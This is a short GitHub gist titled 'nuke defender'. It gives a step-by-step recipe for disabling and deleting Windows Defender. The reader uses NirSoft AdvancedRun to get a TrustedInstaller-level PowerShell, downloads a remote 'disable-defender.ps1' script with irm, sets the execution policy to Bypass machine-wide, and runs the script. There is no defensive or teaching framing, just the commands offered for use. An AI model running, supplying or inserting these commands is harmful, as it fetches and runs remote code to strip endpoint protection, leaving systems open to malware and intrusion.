Skip to content

Instantly share code, notes, and snippets.

@p4yl0ad
Last active November 23, 2023 22:55
Show Gist options
  • Save p4yl0ad/a667c8f2670ddabd1822bb8520aa68e9 to your computer and use it in GitHub Desktop.
Save p4yl0ad/a667c8f2670ddabd1822bb8520aa68e9 to your computer and use it in GitHub Desktop.
nuke defender

Download "advanced run" from nirsoft Spawn a powershell process with trustedinstaller perms and run the following with the -delete flag https[:]//raw.githubusercontent.com/jeremybeaume/tools/master/disable-defender.ps1

irm https://raw.githubusercontent.com/jeremybeaume/tools/master/disable-defender.ps1 -Outfile disable-defender.ps1
Set-ExecutionPolicy Bypass -Scope LocalMachine
. .\disable-defender.ps1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment